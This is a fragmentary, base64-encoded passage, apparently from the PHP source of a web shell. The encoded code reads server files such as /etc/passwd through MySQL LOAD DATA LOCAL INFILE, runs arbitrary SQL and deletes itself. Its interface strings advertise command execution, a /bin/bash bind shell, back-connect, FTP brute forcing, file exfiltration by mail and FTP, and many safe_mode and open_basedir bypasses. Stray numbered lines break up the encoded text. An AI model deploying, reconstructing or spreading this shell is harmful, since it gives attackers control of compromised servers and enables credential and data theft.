mEgc2l6ZT0tMj48Yj5Vc2UgZGF0YWJhc2U6IDwvYj48aW5wdXQgdHlwZT10ZXh0IG5hbWU9bXlzcWxfZGIg dmFsdWU9XCIiLiRzcWwtPmJhc2UuIlwiPjwvZm9udD48YnI+IjsNCiBlY2hvICI8dGV4dGFyZWEgY29scz0 2NSByb3dzPTEwIG5hbWU9ZGJfcXVlcnk+Ii4oIWVtcHR5KCRfUE9TVFsnZGJfcXVlcnknXSk/KCRfUE9TVF snZGJfcXVlcnknXSk6KCJTSE9XIERBVEFCQVNFUzsiKSkuIjwvdGV4dGFyZWE+PGJyPjxpbnB1dCB0eXBlP XN1Ym1pdCBuYW1lPXN1Ym1pdCB2YWx1ZT1cIiBSdW4gU1FMIHF1ZXJ5IFwiPjwvZGl2Pjxicj48YnI+IjsN CiBlY2hvICI8ZGl2IGFsaWduPWNlbnRlcj48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj5Mb2FkIGZ pbGU6IDwvYj48aW5wdXQgdHlwZT10ZXh0IG5hbWU9bG9hZGZpbGUgc2l6ZT0xMDAgdmFsdWU9Ii4oIWVtcH R5KCRfUE9TVFsnbG9hZGZpbGUnXSk/KCRfUE9TVFsnbG9hZGZpbGUnXSk6KCIvZXRjL3Bhc3N3ZCIpKS4iP iIud3MoMikuIjxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPXN1Ym1pdCB2YWx1ZT1cIiBMb2FkIFwiPjxiciAv PjxiciAvPiI7DQogZWNobyAiPGI+RmlsZSBjb250ZW50PC9iPjxicj48YnI+IjsNCiBlY2hvICI8dGV4dGF yZWEgY29scz0xMjEgcm93cz0xNSBuYW1lPXNob3dsb2FkZmlsZT4iOw0KIEBteXNxbF9xdWVyeSgiRFJPUC BUQUJMRSBJRiBFWElTVFMgQWx1Y2FyIik7DQogQG15c3FsX3F1ZXJ5KCJDUkVBVEUgVEFCTEUgYEFsdWNhc mAgKCBgZmlsZWAgTE9OR0JMT0IgTk9UIE5VTEwgKSIpOw0KIEBteXNxbF9xdWVyeSgiTE9BRCBEQVRBIExP Q0FMIElORklMRSBcIiIuc3RyX3JlcGxhY2UoJ1xcJywnLycsJF9QT1NUWydsb2FkZmlsZSddKS4iXCIgSU5 UTyBUQUJMRSBBbHVjYXIgRklFTERTIFRFUk1JTkFURUQgQlkgJycgRVNDQVBFRCBCWSAnJyBMSU5FUyBURV JNSU5BVEVEIEJZICdcbiciKTsNCiAkciA9IEBteXNxbF9xdWVyeSgiU0VMRUNUICogRlJPTSBBbHVjYXIiK TsNCiB3aGlsZSgoJHJfc3FsID0gQG15c3FsX2ZldGNoX2FycmF5KCRyKSkpIHsgZWNobyBAaHRtbHNwZWNp YWxjaGFycygkcl9zcWxbMF0pOyB9DQogQG15c3FsX3F1ZXJ5KCJEUk9QIFRBQkxFIElGIEVYSVNUUyBBbHV jYXIiKTsNCiBlY2hvICI8L3RleHRhcmVhPjwvZGl2PiI7DQogZWNobyAiPC9mb3JtPiI7DQogZWNobyAiPG JyPjxkaXYgYWxpZ249Y2VudGVyPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPlsgPGEgaHJlZj0iL iRfU0VSVkVSWydQSFBfU0VMRiddLiI+QkFDSzwvYT4gXTwvYj48L2ZvbnQ+PC9kaXY+IjsgZGllKCk7DQog fQ0KaWYoaXNzZXQoJF9HRVRbJ2RlbGV0ZSddKSkNCiB7DQogICBAdW5saW5rKF9fRklMRV9fKTsNCiB9DQp pZihpc3NldCgkX0dFVFsndG1wJ10pKQ0KIHsNCiAgIEB1bmxpbmsoIi90bXAvYmRwbCIpOw0KICAgQHVubG
7.
luaygiL3RtcC9iYWNrIik7DQogICBAdW5saW5rKCIvdG1wL2JkIik7DQogICBAdW5saW5rKCIvdG1wL2JkL mMiKTsNCiAgIEB1bmxpbmsoIi90bXAvZHAiKTsNCiAgIEB1bmxpbmsoIi90bXAvZHBjIik7DQogICBAdW5s aW5rKCIvdG1wL2RwYy5jIik7DQogfQ0KaWYoaXNzZXQoJF9HRVRbJ3BocGluaSddKSkNCnsNCmVjaG8gJGh lYWQ7DQpmdW5jdGlvbiBVX3ZhbHVlKCR2YWx1ZSkNCiB7DQogaWYgKCR2YWx1ZSA9PSAnJykgcmV0dXJuIC c8aT5ubyB2YWx1ZTwvaT4nOw0KIGlmIChAaXNfYm9vbCgkdmFsdWUpKSByZXR1cm4gJHZhbHVlID8gJ1RSV UUnIDogJ0ZBTFNFJzsNCiBpZiAoJHZhbHVlID09PSBudWxsKSByZXR1cm4gJ05VTEwnOw0KIGlmIChAaXNf b2JqZWN0KCR2YWx1ZSkpICR2YWx1ZSA9IChhcnJheSkgJHZhbHVlOw0KIGlmIChAaXNfYXJyYXkoJHZhbHV lKSkNCiB7DQogQG9iX3N0YXJ0KCk7DQogcHJpbnRfcigkdmFsdWUpOw0KICR2YWx1ZSA9IEBvYl9nZXRfY2 9udGVudHMoKTsNCiBAb2JfZW5kX2NsZWFuKCk7DQogfQ0KIHJldHVybiBVX3dvcmR3cmFwKChzdHJpbmcpI CR2YWx1ZSk7DQogfQ0KZnVuY3Rpb24gVV93b3Jkd3JhcCgkc3RyKQ0KIHsNCiAkc3RyID0gQHdvcmR3cmFw KEBodG1sc3BlY2lhbGNoYXJzKCRzdHIpLCAxMDAsICc8d2JyIC8+JywgdHJ1ZSk7DQogcmV0dXJuIEBwcmV nX3JlcGxhY2UoJyEoJlteO10qKTx3YnIgLz4oW147XSo7KSEnLCAnJDEkMjx3YnIgLz4nLCAkc3RyKTsNCi B9DQppZiAoQGZ1bmN0aW9uX2V4aXN0cygnaW5pX2dldF9hbGwnKSkNCiB7DQogJHIgPSAnJzsNCiBlY2hvI Cc8dGFibGUgd2lkdGg9MTAwJT4nLCAnPHRyPjx0ZCBjbGFzcz1tYWluIGJnY29sb3I9IzgzYzgwOT48Zm9u dCBmYWNlPVZlcmRhbmEgc2l6ZT0tMiBjb2xvcj1XaGl0ZT48ZGl2IGFsaWduPWNlbnRlcj48Yj5EaXJlY3R pdmU8L2I+PC9kaXY+PC9mb250PjwvdGQ+PHRkIGNsYXNzPW1haW4gYmdjb2xvcj0jODNjODA5Pjxmb250IG ZhY2U9VmVyZGFuYSBzaXplPS0yIGNvbG9yPVdoa XRlPjxkaXYgYWxpZ249Y2VudGVyPjxiPkxvY2FsIFZhbHVlPC9iPjwvZGl2PjwvZm9udD48L3RkPjx0ZCBj bGFzcz1tYWluIGJnY29sb3I9IzgzYzgwOT48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMiBjb2xvcj1XaGl 0ZT48ZGl2IGFsaWduPWNlbnRlcj48Yj5NYXN0ZXIgVmFsdWU8L2I+PC9kaXY+PC9mb250PjwvdGQ+PC90cj 4nOw0KIGZvcmVhY2ggKEBpbmlfZ2V0X2FsbCgpIGFzICRrZXk9PiR2YWx1ZSkNCiAgew0KICAkciAuPSAnP HRyPjx0ZCBjbGFzcz1tYWluPicud3MoMykuJzxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPicuJGtl eS4nPC9iPjwvZm9udD48L3RkPjx0ZCBjbGFzcz1tYWluPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjx kaXYgYWxpZ249Y2VudGVyPjxiPicuVV92YWx1ZSgkdmFsdWVbJ2xvY2FsX3ZhbHVlJ10pLic8L2I+PC9kaX Y+PC9mb250PjwvdGQ+PHRkIGNsYXNzPW1haW4+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGRpdiBhb Glnbj1jZW50ZXI+PGI+Jy5VX3ZhbHVlKCR2YWx1ZVsnZ2xvYmFsX3ZhbHVlJ10pLic8L2I+PC9kaXY+PC9m b250PjwvdGQ+PC90cj4nOw0KICB9DQogZWNobyAkcjsNCiBlY2hvICc8L3RhYmxlPic7DQogfQ0KZWNobyA iPGJyPjxkaXYgYWxpZ249Y2VudGVyPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPlsgPGEgaHJlZj 0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI+QkFDSzwvYT4gXTwvYj48L2ZvbnQ+PC9kaXY+IjsNCmRpZSgpO w0KfQ0KaWYoaXNzZXQoJF9HRVRbJ2NwdSddKSkNCiB7DQogICBlY2hvICRoZWFkOw0KICAgZWNobyAnPHRh YmxlIHdpZHRoPTEwMCU+PHRyPjx0ZCBjbGFzcz1tYWluIGJnY29sb3I9QmxhY2s+PGRpdiBhbGlnbj1jZW5 0ZXI+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTIgY29sb3I9V2hpdGU+PGI+Q1BVPC9iPjwvZm9udD48L2 Rpdj48L3RkPjwvdHI+PC90YWJsZT48dGFibGUgd2lkdGg9MTAwJT4nOw0KICAgJGNwdWYgPSBAZmlsZSgiY 3B1aW5mbyIpOw0KICAgaWYoJGNwdWYpDQogICAgew0KICAgICAgJGMgPSBAc2l6ZW9mKCRjcHVmKTsNCiAg ICAgIGZvcigkaT0wOyRpPCRjOyRpKyspDQogICAgICAgIHsNCiAgICAgICAgICAkaW5mbyA9IEBleHBsb2R lKCI6IiwkY3B1ZlskaV0pOw0KICAgICAgICAgIGlmKCRpbmZvWzFdPT0iIil7ICRpbmZvWzFdPSItLS0iOy B9DQogICAgICAgICAgJHIgLj0gJzx0cj48dGQgY2xhc3M9bWFpbj4nLndzKDMpLic8Zm9udCBmYWNlPVZlc mRhbmEgc2l6ZT0tMj48Yj4nLnRyaW0oJGluZm9bMF0pLic8L2I+PC9mb250PjwvdGQ+PHRkIGNsYXNzPW1h aW4+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGRpdiBhbGlnbj1jZW50ZXI+PGI+Jy50cmltKCRpbmZ vWzFdKS4nPC9iPjwvZGl2PjwvZm9udD48L3RkPjwvdHI+JzsNCiAgICAgICAgfQ0KICAgICAgZWNobyAkcj sNCiAgICB9DQogICBlbHNlDQogICAgew0KICAgICAgZWNobyAnPHRyPjx0ZCBjbGFzcz1tYWluPicud3MoM ykuJzxkaXYgYWxpZ249Y2VudGVyPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPiAtLS0gPC9iPjwv Zm9udD48L2Rpdj48L3RkPjwvdHI+JzsNCiAgICB9DQogICBlY2hvICc8L3RhYmxlPic7DQogICBlY2hvICI 8YnI+PGRpdiBhbGlnbj1jZW50ZXI+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+WyA8YSBocmVmPS IuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj5CQUNLPC9hPiBdPC9iPjwvZm9udD48L2Rpdj4iOw0KICAgZGllK Ck7DQogfQ0KaWYoaXNzZXQoJF9HRVRbJ21lbSddKSkNCiB7DQogICBlY2hvICRoZWFkOw0KICAgZWNobyAn PHRhYmxlIHdpZHRoPTEwMCU+PHRyPjx0ZCBjbGFzcz1tYWluIGJnY29sb3I9QmxhY2s+PGRpdiBhbGlnbj1 jZW50ZXI+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTIgY29sb3I9V2hpdGU+PGI+TUVNT1JZPC9iPjwvZm 9udD48L2Rpdj48L3RkPjwvdHI+PC90YWJsZT48dGFibGUgd2lkdGg9MTAwJT4nOw0KICAgJG1lbWYgPSBAZ mlsZSgibWVtaW5mbyIpOw0KICAgaWYoJG1lbWYpDQogICAgew0KICAgICAgJGMgPSBzaXplb2YoJG1lbWYp Ow0KICAgICAgZm9yKCRpPTA7JGk8JGM7JGkrKykNCiAgICAgICAgew0KICAgICAgICAgICRpbmZvID0gZXh wbG9kZSgiOiIsJG1lbWZbJGldKTsNCiAgICAgICAgICBpZigkaW5mb1sxXT09IiIpeyAkaW5mb1sxXT0iLS 0tIjsgfQ0KICAgICAgICAgICRyIC49ICc8dHI+PHRkIGNsYXNzPW1haW4+Jy53cygzKS4nPGZvbnQgZmFjZ T1WZXJkYW5hIHNpemU9LTI+PGI+Jy50cmltKCRpbmZvWzBdKS4nPC9iPjwvZm9udD48L3RkPjx0ZCBjbGFz cz1tYWluPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxkaXYgYWxpZ249Y2VudGVyPjxiPicudHJpbSg kaW5mb1sxXSkuJzwvYj48L2Rpdj48L2ZvbnQ+PC90ZD48L3RyPic7DQogICAgICAgIH0NCiAgICAgIGVjaG 8gJHI7DQogICAgfQ0KICAgZWxzZQ0KICAgIHsNCiAgICAgIGVjaG8gJzx0cj48dGQgY2xhc3M9bWFpbj4nL ndzKDMpLic8ZGl2IGFsaWduPWNlbnRlcj48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj4gLS0tIDwv Yj48L2ZvbnQ+PC9kaXY+PC90ZD48L3RyPic7DQogICAgfQ0KICAgZWNobyAnPC90YWJsZT4nOw0KICAgZWN
8.
obyAiPGJyPjxkaXYgYWxpZ249Y2VudGVyPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPlsgPGEgaH JlZj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI+QkFDSzwvYT4gXTwvYj48L2ZvbnQ+PC9kaXY+IjsNCiAgI GRpZSgpOw0KIH0NCiRsYW5nPWFycmF5KA0KLyogLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tICovDQonZW5nX3RleHQxJyA9PidFeGVjdXRlZCBjb21 tYW5kJywNCidlbmdfdGV4dDInID0+J0V4ZWN1dGUgY29tbWFuZCBvbiBzZXJ2ZXInLA0KJ2VuZ190ZXh0My cgPT4nUnVuIGNvbW1hbmQnLA0KJ2VuZ190ZXh0NCcgPT4nV29yayBkaXJlY3RvcnknLA0KJ2VuZ190ZXh0N ScgPT4nVXBsb2FkIGZpbGVzIG9uIHNlcnZlcicsDQonZW5nX3RleHQ2JyA9PidMb2NhbCBmaWxlJywNCidl bmdfdGV4dDcnID0+J0FsaWFzZXMnLA0KJ2VuZ190ZXh0OCcgPT4nU2VsZWN0IGFsaWFzJywNCidlbmdfYnV 0dDEnID0+J0V4ZWN1dGUnLA0KJ2VuZ19idXR0MicgPT4nVXBsb2FkJywNCidlbmdfdGV4dDknID0+J0Jpbm QgcG9ydCB0byAvYmluL2Jhc2gnLA0KJ2VuZ190ZXh0MTAnPT4nUG9ydCcsDQonZW5nX3RleHQxMSc9PidQY XNzd29yZCBmb3IgYWNjZXNzJywNCidlbmdfYnV0dDMnID0+J0JpbmQnLA0KJ2VuZ190ZXh0MTInPT4nYmFj ay1jb25uZWN0JywNCidlbmdfdGV4dDEzJz0+J0lQJywNCidlbmdfdGV4dDE0Jz0+J1BvcnQnLA0KJ2VuZ19 idXR0NCcgPT4nQ29ubmVjdCcsDQonZW5nX3RleHQxNSc9PidVcGxvYWQgZmlsZXMgZnJvbSByZW1vdGUgc2 VydmVyJywNCidlbmdfdGV4dDE2Jz0+J1dpdGgnLA0KJ2VuZ190ZXh0MTcnPT4nUmVtb3RlIGZpbGUnLA0KJ 2VuZ190ZXh0MTgnPT4nTG9jYWwgZmlsZScsDQonZW5nX3RleHQxOSc9PidFeHBsb2l0cycsDQonZW5nX3Rl eHQyMCc9PidVc2UnLA0KJ2VuZ190ZXh0MjEnPT4nJm5ic3A7TmV3IG5hbWUnLA0KJ2VuZ190ZXh0MjInPT4 nZGF0YXBpcGUnLA0KJ2VuZ190ZXh0MjMnPT4nTG9jYWwgcG9ydCcsDQonZW5nX3RleHQyNCc9PidSZW1vdG UgaG9zdCcsDQonZW5nX3RleHQyNSc9PidSZW1vdGUgcG9ydCcsDQonZW5nX3RleHQyNic9PidVc2UnLA0KJ 2VuZ19idXR0NScgPT4nUnVuJywNCidlbmdfdGV4dDI4Jz0+J1dvcmsgaW4gc2FmZV9tb2RlJywNCidlbmdf dGV4dDI5Jz0+J0FDQ0VTUyBERU5JRUQnLA0KJ2VuZ19idXR0NicgPT4nQ2hhbmdlJywNCidlbmdfdGV4dDM wJz0+J0NhdCBmaWxlJywNCidlbmdfYnV0dDcnID0+J1Nob3cnLA0KJ2VuZ190ZXh0MzEnPT4nRmlsZSBub3 QgZm91bmQnLA0KJ2VuZ190ZXh0MzInPT4nRXZhbCBQSFAgY29kZScsDQonZW5nX3RleHQzMyc9PidUZXN0I GJ5cGFzcyBvcGVuX2Jhc2VkaXIgd2l0aCBjVVJMIGZ1bmN0aW9ucycsDQonZW5nX2J1dHQ4JyA9PidUZXN0 JywNCidlbmdfdGV4dDM0Jz0+J1Rlc3QgYnlwYXNzIHNhZmVfbW9kZSB3aXRoIGluY2x1ZGUgZnVuY3Rpb24 nLA0KJ2VuZ190ZXh0MzUnPT4nVGVzdCBieXBhc3Mgd2l0aCBsb2FkIGZpbGUgaW4gbXlzcWwgLSBlZGl0ZW QgYnkgQWx1Y2FyJywNCidlbmdfdGV4dDM2Jz0+J0RiIC4gVGFibGUnLA0KJ2VuZ190ZXh0MzcnPT4nTG9na W4nLA0KJ2VuZ190ZXh0MzgnPT4nUGFzc3dvcmQnLA0KJ2VuZ190ZXh0MzknPT4nRGF0YWJhc2UnLA0KJ2Vu Z190ZXh0NDAnPT4nRHVtcCBkYXRhYmFzZSB0YWJsZScsDQonZW5nX2J1dHQ5JyA9PidEdW1wJywNCidlbmd fdGV4dDQxJz0+J1NhdmUgZHVtcCBpbiBmaWxlJywNCidlbmdfdGV4dDQyJz0+J0VkaXQgZmlsZXMnLA0KJ2 VuZ190ZXh0NDMnPT4nRmlsZSBmb3IgZWRpdCcsDQonZW5nX2J1dHQxMCc9PidTYXZlJywNCidlbmdfdGV4d DQ0Jz0+J0NhblwndCBlZGl0IGZpbGUhIE9ubHkgcmVhZCBhY2Nlc3MhJywNCidlbmdfdGV4dDQ1Jz0+J0Zp bGUgc2F2ZWQnLA0KJ2VuZ190ZXh0NDYnPT4nU2hvdyBwaHBpbmZvKCknLA0KJ2VuZ190ZXh0NDcnPT4nU2h vdyB2YXJpYWJsZXMgZnJvbSBwaHAuaW5pJywNCidlbmdfdGV4dDQ4Jz0+J0RlbGV0ZSB0ZW1wIGZpbGVzJy wNCidlbmdfYnV0dDExJz0+J0VkaXQgZmlsZScsDQonZW5nX3RleHQ0OSc9PidEZWxldGUgc2NyaXB0IGZyb 20gc2VydmVyJywNCidlbmdfdGV4dDUwJz0+J1ZpZXcgY3B1IGluZm8nLA0KJ2VuZ190ZXh0NTEnPT4nVmll dyBtZW1vcnkgaW5mbycsDQonZW5nX3RleHQ1Mic9PidGaW5kIHRleHQnLA0KJ2VuZ190ZXh0NTMnPT4nSW4 gZGlycycsDQonZW5nX3RleHQ1NCc9PidGaW5kIHRleHQgaW4gZmlsZXMnLA0KJ2VuZ19idXR0MTInPT4nRm luZCcsDQonZW5nX3RleHQ1NSc9PidPbmx5IGluIGZpbGVzJywNCidlbmdfdGV4dDU2Jz0+J05vdGhpbmcgO ignLA0KJ2VuZ190ZXh0NTcnPT4nQ3JlYXRlL0RlbGV0ZSBGaWxlL0RpcicsDQonZW5nX3RleHQ1OCc9Pidu YW1lJywNCidlbmdfdGV4dDU5Jz0+J2ZpbGUnLA0KJ2VuZ190ZXh0NjAnPT4nZGlyJywNCidlbmdfYnV0dDE zJz0+J0NyZWF0ZS9EZWxldGUnLA0KJ2VuZ190ZXh0NjEnPT4nRmlsZSBjcmVhdGVkJywNCidlbmdfdGV4dD YyJz0+J0RpciBjcmVhdGVkJywNCidlbmdfdGV4dDYzJz0+J0ZpbGUgZGVsZXRlZCcsDQonZW5nX3RleHQ2N Cc9PidEaXIgZGVsZXRlZCcsDQonZW5nX3RleHQ2NSc9PidDcmVhdGUnLA0KJ2VuZ190ZXh0NjYnPT4nRGVs ZXRlJywNCidlbmdfdGV4dDY3Jz0+J0Nob3duL0NoZ3JwL0NobW9kJywNCidlbmdfdGV4dDY4Jz0+J0NvbW1 hbmQnLA0KJ2VuZ190ZXh0NjknPT4ncGFyYW0xJywNCidlbmdfdGV4dDcwJz0+J3BhcmFtMicsDQonZW5nX3 RleHQ3MSc9PiJTZWNvbmQgY29tbWFuZHMgcGFyYW0gaXM6XHJcbi0gZm9yIENIT1dOIC0gbmFtZSBvZiBuZ Xcgb3duZXIgb3IgVUlEXHJcbi0gZm9yIENIR1JQIC0gZ3JvdXAgbmFtZSBvciBHSURcclxuLSBmb3IgQ0hN T0QgLSAwNzc3LCAwNzU1Li4uIiwNCidlbmdfdGV4dDcyJz0+J1RleHQgZm9yIGZpbmQnLA0KJ2VuZ190ZXh 0NzMnPT4nRmluZCBpbiBmb2xkZXInLA0KJ2VuZ190ZXh0NzQnPT4nRmluZCBpbiBmaWxlcycsDQonZW5nX3 RleHQ3NSc9PicqIHlvdSBjYW4gdXNlIHJlZ2V4cCcsDQonZW5nX3RleHQ3Nic9PidTZWFyY2ggdGV4dCBpb iBmaWxlcyB2aWEgZmluZCcsDQonZW5nX3RleHQ4MCc9PidUeXBlJywNCidlbmdfdGV4dDgxJz0+J05ldCcs DQonZW5nX3RleHQ4Mic9PidEYXRhYmFzZXMnLA0KJ2VuZ190ZXh0ODMnPT4nUnVuIFNRTCBxdWVyeScsDQo nZW5nX3RleHQ4NCc9PidTUUwgcXVlcnknLA0KJ2VuZ190ZXh0ODUnPT4nVGVzdCBieXBhc3Mgc2FmZV9tb2 RlIHdpdGggY29tbWFuZHMgZXhlY3V0ZSB2aWEgTVNTUUwgc2VydmVyJywNCidlbmdfdGV4dDg2Jz0+J0Rvd 25sb2FkIGZpbGVzIGZyb20gc2VydmVyJywNCidlbmdfYnV0dDE0Jz0+J0Rvd25sb2FkJywNCidlbmdfdGV4 dDg3Jz0+J0Rvd25sb2FkIGZpbGVzIGZyb20gcmVtb3RlIGZ0cC1zZXJ2ZXInLA0KJ2VuZ190ZXh0ODgnPT4 nRlRQLXNlcnZlcjpwb3J0JywNCidlbmdfdGV4dDg5Jz0+J0ZpbGUgb24gZnRwJywNCidlbmdfdGV4dDkwJz 0+J1RyYW5zZmVyIG1vZGUnLA0KJ2VuZ190ZXh0OTEnPT4nQXJjaGl2YXRpb24nLA0KJ2VuZ190ZXh0OTInP T4nd2l0aG91dCBhcmNoaXZhdGlvbicsDQonZW5nX3RleHQ5Myc9PidGVFAnLA0KJ2VuZ190ZXh0OTQnPT4n
9.
RlRQLWJydXRlZm9yY2UnLA0KJ2VuZ190ZXh0OTUnPT4nVXNlcnMgbGlzdCcsDQonZW5nX3RleHQ5Nic9Pid DYW5cJ3QgZ2V0IHVzZXJzIGxpc3QnLA0KJ2VuZ190ZXh0OTcnPT4nY2hlY2tlZDogJywNCidlbmdfdGV4dD k4Jz0+J3N1Y2Nlc3M6ICcsDQonZW5nX3RleHQ5OSc9PicqIHVzZSB1c2VybmFtZSBmcm9tIC9ldGMvcGFzc 3dkIGZvciBmdHAgbG9naW4gYW5kIHBhc3N3b3JkJywNCidlbmdfdGV4dDEwMCc9PidTZW5kIGZpbGUgdG8g cmVtb3RlIGZ0cCBzZXJ2ZXInLA0KJ2VuZ190ZXh0MTAxJz0+J1VzZSByZXZlcnNlICh1c2VyIC0+IHJlc3U pIGxvZ2luIGZvciBwYXNzd29yZCcsDQonZW5nX3RleHQxMDInPT4nTWFpbCcsDQonZW5nX3RleHQxMDMnPT 4nU2VuZCBlbWFpbCcsDQonZW5nX3RleHQxMDQnPT4nU2VuZCBmaWxlIHRvIGVtYWlsJywNCidlbmdfdGV4d DEwNSc9PidUbycsDQonZW5nX3RleHQxMDYnPT4nRnJvbScsDQonZW5nX3RleHQxMDcnPT4nU3ViaicsDQon ZW5nX2J1dHQxNSc9PidTZW5kJywNCidlbmdfdGV4dDEwOCc9PidNYWlsJywNCidlbmdfdGV4dDEwOSc9Pid IaWRlJywNCidlbmdfdGV4dDExMCc9PidTaG93JywNCidlbmdfdGV4dDExMSc9PidTUUwtU2VydmVyIDogUG 9ydCcsDQonZW5nX3RleHQxMTInPT4nVGVzdCBieXBhc3Mgc2FmZV9tb2RlIHdpdGggZnVuY3Rpb24gbWJfc 2VuZF9tYWlsJywNCidlbmdfdGV4dDExMyc9PidUZXN0IGJ5cGFzcyBzYWZlX21vZGUsIHZpZXcgZGlyIGxp c3QgdmlhIGltYXBfbGlzdCcsDQonZW5nX3RleHQxMTQnPT4nVGVzdCBieXBhc3Mgc2FmZV9tb2RlLCB2aWV 3IGZpbGUgY29udGVzdCB2aWEgaW1hcF9ib2R5JywNCidlbmdfdGV4dDExNSc9PidUZXN0IGJ5cGFzcyBzYW ZlX21vZGUsIGNvcHkgZmlsZSB2aWEgY29tcHJlc3MuemxpYjovLyBpbiBmdW5jdGlvbiBjb3B5KCknLA0KJ 2VuZ190ZXh0MTE2Jz0+J0NvcHkgZnJvbScsDQonZW5nX3RleHQxMTcnPT4ndG8nLA0KJ2VuZ190ZXh0MTE4 Jz0+J0ZpbGUgY29waWVkJywNCidlbmdfdGV4dDExOSc9PidDYW50IGNvcHkgZmlsZScsDQonZW5nX3RleHQ xMjAnPT4nU1FMLVNlcnZlcicsDQonZW5nX2VycjAnPT4nRXJyb3IhIENhblwndCB3cml0ZSBpbiBmaWxlIC csDQonZW5nX2VycjEnPT4nRXJyb3IhIENhblwndCByZWFkIGZpbGUgJywNCidlbmdfZXJyMic9PidFcnJvc iEgQ2FuXCd0IGNyZWF0ZSAnLA0KJ2VuZ19lcnIz Jz0+J0Vycm9yISBDYW5cJ3QgY29ubmVjdCB0byBmdHAnLA0KJ2VuZ19lcnI0Jz0+J0Vycm9yISBDYW5cJ3Q gbG9naW4gb24gZnRwIHNlcnZlcicsDQonZW5nX2VycjUnPT4nRXJyb3IhIENhblwndCBjaGFuZ2UgZGlyIG 9uIGZ0cCcsDQonZW5nX2VycjYnPT4nRXJyb3IhIENhblwndCBzZW50IG1haWwnLA0KJ2VuZ19lcnI3Jz0+J 01haWwgc2VuZCcsDQonZW5nX3RleHQyMDAnPT4ncmVhZCBmaWxlIGZyb20gdnVsIGNvcHkoKScsDQonZW5n X3RleHQyMDInPT4nd2hlcmUgZmlsZSBpbiBzZXJ2ZXInLA0KJ2VuZ190ZXh0MzAwJz0+J3JlYWQgZmlsZSB mcm9tIHZ1bCBjdXJsKCknLA0KJ2VuZ190ZXh0MjAzJz0+J3JlYWQgZmlsZSBmcm9tIHZ1bCBpbmlfcmVzdG 9yZSgpJywNCidlbmdfdGV4dDIwNCc9Pid3cml0ZSBzaGVsbCBmcm9tIHZ1bCBlcnJvcl9sb2coKScsDQonZ W5nX3RleHQyMDUnPT4nd3JpdGUgc2hlbGwgaW4gdGhpcyBzaWRlJywNCidlbmdfdGV4dDIwNic9PidyZWFk IGRpcicsDQonZW5nX3RleHQyMDcnPT4ncmVhZCBkaXIgZnJvbSB2dWwgcmVnX2dsb2InLA0KJ2VuZ190ZXh 0MjA4Jz0+J2V4ZWN1dGUgd2l0aCBmdW5jdGlvbicsDQonZW5nX3RleHQyMDknPT4ncmVhZCBkaXIgZnJvbS B2dWwgcm9vdCcsDQonZW5nX3RleHQyMTAnPT4nRGVaZW5kZXIgJywNCidlbmdfdGV4dDIxMSc9Pic6OnNhZ mVfbW9kZSBvZmY6OicsDQonZW5nX3RleHQyMTInPT4nQ2xvc2Ugc2FmZV9tb2RlIHdpdGggcGhwLmluaScs DQonZW5nX3RleHQyMTMnPT4nQ2xvc2Ugc2VjdXJpdHlfbW9kIHdpdGggLmh0YWNjZXNzJywNCidlbmdfdGV 4dDIxNCc9PidBZG1pbiBuYW1lJywNCidlbmdfdGV4dDIxNSc9PidJUkMgc2VydmVyICcsDQonZW5nX3RleH QyMTYnPT4nI3Jvb20gbmFtZScsDQonZW5nX3RleHQyMTcnPT4nc2VydmVyJywNCidlbmdfdGV4dDIxOCc9P id3cml0ZSBpbmkucGhwIGZpbGUgdG8gY2xvc2Ugc2FmZV9tb2RlIHdpdGggaW5pX3Jlc3RvcmUgdnVsJywN CidlbmdfdGV4dDIxOSc9PidHZXQgZmlsZSB0byBzZXJ2ZXIgaW4gc2FmZV9tb2RlIGFuZCBjaGFuZ2UgbmF tZScsDQonZW5nX3RleHQyMjAnPT4nc2hvdyBmaWxlIHdpdGggc3ltbGluayB2dWwnLA0KJ2VuZ190ZXh0Mj IxJz0+J3ppcCBmaWxlIGluIHNlcnZlciB0byBkb3dubG9hZCcsDQonZW5nX3RleHQyMjInPT4nMiBzeW1sa W5rIHVzZSB2dWwnLA0KJ2VuZ190ZXh0MjIzJz0+J3JlYWQgZmlsZSBmcm9tIGZ1bmN1dGlvbicsDQonZW5n X3RleHQyMjQnPT4ncmVhZCBmaWxlIGZyb20gUExVR0lOJywNCidlbmdfdGV4dDIyNScgPT4gJ2h0YWNjZXN zIHNhZmVtb2RlIGFuZCBvcGVuX2Jhc2VkaXIgYnlwYXNzJywNCidlbmdfdGV4dDIyNicgPT4gJ1dyaXRlIH RvIGZpbGUnLA0KJ2VuZ190ZXh0MjI3JyA9PiAnQ29udGVudCcsDQonZW5nX3RleHQyMjgnID0+ICdTU0kgc 2FmZV9tb2RlIGJ5cGFzcycsDQonZW5nX3RleHQyMjknID0+ICdDT00gZnVuY3Rpb25zIHNhZmVfbW9kZSBh bmQgZGlzYWJsZV9mdW5jdGlvbiBieXBhc3MnLA0KJ2VuZ190ZXh0MjMwJyA9PiAnaW9uQ3ViZSBleHRlbnN pb24gc2FmZV9tb2RlIGJ5cGFzcycsDQonZW5nX3RleHQyMzEnID0+ICd3aW4zMnN0ZCBleHRlbnNpb24gc2 FmZV9tb2RlIGJ5cGFzcycsDQonZW5nX3RleHQyMzInID0+ICd3aW4zMnNlcnZpY2UgZXh0ZW5zaW9uIHNhZ 